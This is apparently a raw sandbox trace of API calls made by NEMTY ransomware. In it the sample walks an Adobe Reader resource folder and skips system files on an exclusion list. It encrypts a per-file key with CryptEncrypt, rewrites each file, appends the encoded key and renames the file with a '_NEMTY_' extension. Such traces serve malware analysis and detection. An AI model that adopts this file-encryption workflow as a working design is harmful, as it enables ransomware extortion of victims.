lstrcmpiW (lpString1="eng32.clx", lpString2="boot.ini") returned 1 [0217.361] lstrcmpiW (lpString1="eng32.clx", lpString2="AUTOEXEC.BAT") returned 1 [0217.361] lstrcmpiW (lpString1="eng32.clx", lpString2="ntuser.dat") returned -1 [0217.361] lstrcmpiW (lpString1="eng32.clx", lpString2="desktop.ini") returned 1 [0217.361] lstrcmpiW (lpString1="eng32.clx", lpString2="CONFIG.SYS") returned 1 [0217.361] lstrcmpiW (lpString1="eng32.clx", lpString2="RECYCLER") returned -1 [0217.361] lstrcmpiW (lpString1="eng32.clx", lpString2="BOOTSECT.BAK") returned 1 [0217.361] lstrcmpiW (lpString1="eng32.clx", lpString2="bootmgr") returned 1 [0217.361] lstrcmpiW (lpString1="eng32.clx", lpString2="programdata") returned -1 [0217.361] lstrcmpiW (lpString1="eng32.clx", lpString2="appdata") returned 1 [0217.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eng32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eng32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eng32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eng32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eng32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eng32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eng32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eng32.clx", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eng32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eng32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eng32.clx", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eng32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0217.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.361] Sleep (dwMilliseconds=0x5) [0217.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x3532fa90, dwHighDateTime=0x1d561e8)) [0217.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x3532fa90, dwHighDateTime=0x1d561e8)) [0217.368] GetLastError () returned 0x0 [0217.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.368] GetLastError () returned 0x0 [0217.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.368] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.368] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.369] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0217.369] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653df5c | out: pszString="MzTOd759VDx8QD+M0yOtcfm/NDOwV66pnya2FExRJjvuCQldZrxJrpzDl8PE4Pjg\r\nbEN/656GeYMX68JlQLJXBdqy1q/SiFY7+E2INwiJ1QR5GJXyEdqrTAhvGgavaQze\r\nOZK2rmPPk1napd9ySYg9WHOuMQVludA82Y7a0T3JBeeW4bw3cB+Nx0nS+QXtjtiN\r\ndQaatK9dg/dvqZGS/viZuGloC+8Ijh32QsjRJ8GsT+96Yc5m1YAl45BGnMGLi6HD\r\nXTB4HCJAa4cyHNpfSmCxODTI8KhUIseFN3w2wr1JUTimsp/MduWUSLBEaEzQMNJ5\r\nhQfiW8JUJbaDuukKcjnrnQ==\r\n", pcchString=0x653df5c) returned 1 [0217.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0217.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0217.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0217.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0217.369] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\eng32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\eng32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.369] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=32741) returned 1 [0217.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7fe0) returned 0x6354c48 [0217.369] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.369] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x7fe0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x7fe0, lpOverlapped=0x0) returned 1 [0217.373] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.373] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x7fe0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x7fe0, lpOverlapped=0x0) returned 1 [0217.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.373] SetFilePointer (in: hFile=0x320, lDistanceToMove=32741, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7fe5 [0217.373] WriteFile (in: hFile=0x320, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.374] CloseHandle (hObject=0x320) returned 1 [0217.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0217.374] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.374] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0217.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0217.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0217.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.374] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\eng32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\eng32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\eng32.clx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\eng32.clx._nemty_kgobjgd_")) returned 1 [0217.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0217.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0217.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.375] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df9e280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9a3, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="engphon.env", cAlternateFileName="")) returned 1 [0217.375] lstrcmpiW (lpString1="engphon.env", lpString2=".") returned 1 [0217.375] lstrcmpiW (lpString1="engphon.env", lpString2="..") returned 1 [0217.375] lstrcmpiW (lpString1="engphon.env", lpString2="...") returned 1 [0217.375] lstrcmpiW (lpString1="engphon.env", lpString2="windows") returned -1 [0217.375] lstrcmpiW (lpString1="engphon.env", lpString2="$RECYCLE.BIN") returned 1 [0217.375] lstrcmpiW (lpString1="engphon.env", lpString2="rsa") returned -1 [0217.375] lstrcmpiW (lpString1="engphon.env", lpString2="NTDETECT.COM") returned -1 [0217.375] lstrcmpiW (lpString1="engphon.env", lpString2="ntldr") returned -1 [0217.375] lstrcmpiW (lpString1="engphon.env", lpString2="MSDOS.SYS") returned -1 [0217.375] lstrcmpiW (lpString1="engphon.env", lpString2="IO.SYS") returned -1 [0217.375] lstrcmpiW (lpString1="engphon.env", lpString2="boot.ini") returned 1 [0217.375] lstrcmpiW (lpString1="engphon.env", lpString2="boot.ini") returned 1 [0217.375] lstrcmpiW (lpString1="engphon.env", lpString2="AUTOEXEC.BAT") returned 1 [0217.375] lstrcmpiW (lpString1="engphon.env", lpString2="ntuser.dat") returned -1 [0217.375] lstrcmpiW (lpString1="engphon.env", lpString2="desktop.ini") returned 1 [0217.375] lstrcmpiW (lpString1="engphon.env", lpString2="CONFIG.SYS") returned 1 [0217.375] lstrcmpiW (lpString1="engphon.env", lpString2="RECYCLER") returned -1 [0217.375] lstrcmpiW (lpString1="engphon.env", lpString2="BOOTSECT.BAK") returned 1 [0217.375] lstrcmpiW (lpString1="engphon.env", lpString2="bootmgr") returned 1 [0217.375] lstrcmpiW (lpString1="engphon.env", lpString2="programdata") returned -1 [0217.375] lstrcmpiW (lpString1="engphon.env", lpString2="appdata") returned 1 [0217.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.375] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="engphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0217.375] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="engphon.env", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="engphon.env", lpUsedDefaultChar=0x0) returned 11 [0217.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.375] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="engphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0217.375] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="engphon.env", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="engphon.env", lpUsedDefaultChar=0x0) returned 11 [0217.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="engphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0217.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="engphon.env", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="engphon.env", lpUsedDefaultChar=0x0) returned 11 [0217.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="engphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0217.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="engphon.env", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="engphon.env", lpUsedDefaultChar=0x0) returned 11 [0217.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.376] Sleep (dwMilliseconds=0x5) [0217.384] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x35355bf0, dwHighDateTime=0x1d561e8)) [0217.384] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x35355bf0, dwHighDateTime=0x1d561e8)) [0217.384] GetLastError () returned 0x0 [0217.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.384] GetLastError () returned 0x0 [0217.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.384] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.384] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.384] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0217.384] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653df5c | out: pszString="E6kPeCHp4XVvYkuKz2sYTk2T0C+wDEwJ6dN3HU9xW6VIs01UWHJZY4ucY4kWftTV\r\n6WEwur7TIqXr3lITNh1SK2VEoJHHokLvrhqt/z+ycVexbCc03DttefRBJob5ClU3\r\nfSpS3naKglSH/++Dih+1tEo7RoZx1KRrMxcognoMeXNj+AwYE7d03yCdBA6r2/ZY\r\nDNPecr2//SOmQirl6BoCqY+8V89V6nHtf31IkFITbDzrlJN3NOgdHohcGUt+vi6g\r\ngNvvc3y0FuxLHEWBN2UkQph/fhPoqaOSQ+98tVowAsmMvwxCUc0z8isHxiGQzIuD\r\nW7qNBbLuAnXnDbX4qlOLbQ==\r\n", pcchString=0x653df5c) returned 1 [0217.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0217.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0217.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0217.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0217.385] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\engphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\engphon.env"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.385] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=2467) returned 1 [0217.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9a0) returned 0x634ad48 [0217.385] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.385] ReadFile (in: hFile=0x320, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x9a0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e1a4*=0x9a0, lpOverlapped=0x0) returned 1 [0217.387] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.387] WriteFile (in: hFile=0x320, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e19c*=0x9a0, lpOverlapped=0x0) returned 1 [0217.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0217.387] SetFilePointer (in: hFile=0x320, lDistanceToMove=2467, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9a3 [0217.387] WriteFile (in: hFile=0x320, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.387] CloseHandle (hObject=0x320) returned 1 [0217.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0217.387] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.387] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0217.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0217.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0217.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.388] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\engphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\engphon.env"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\engphon.env._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\engphon.env._nemty_kgobjgd_")) returned 1 [0217.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0217.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0217.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.388] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e11b040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="est.hyp", cAlternateFileName="")) returned 1 [0217.389] lstrcmpiW (lpString1="est.hyp", lpString2=".") returned 1 [0217.389] lstrcmpiW (lpString1="est.hyp", lpString2="..") returned 1 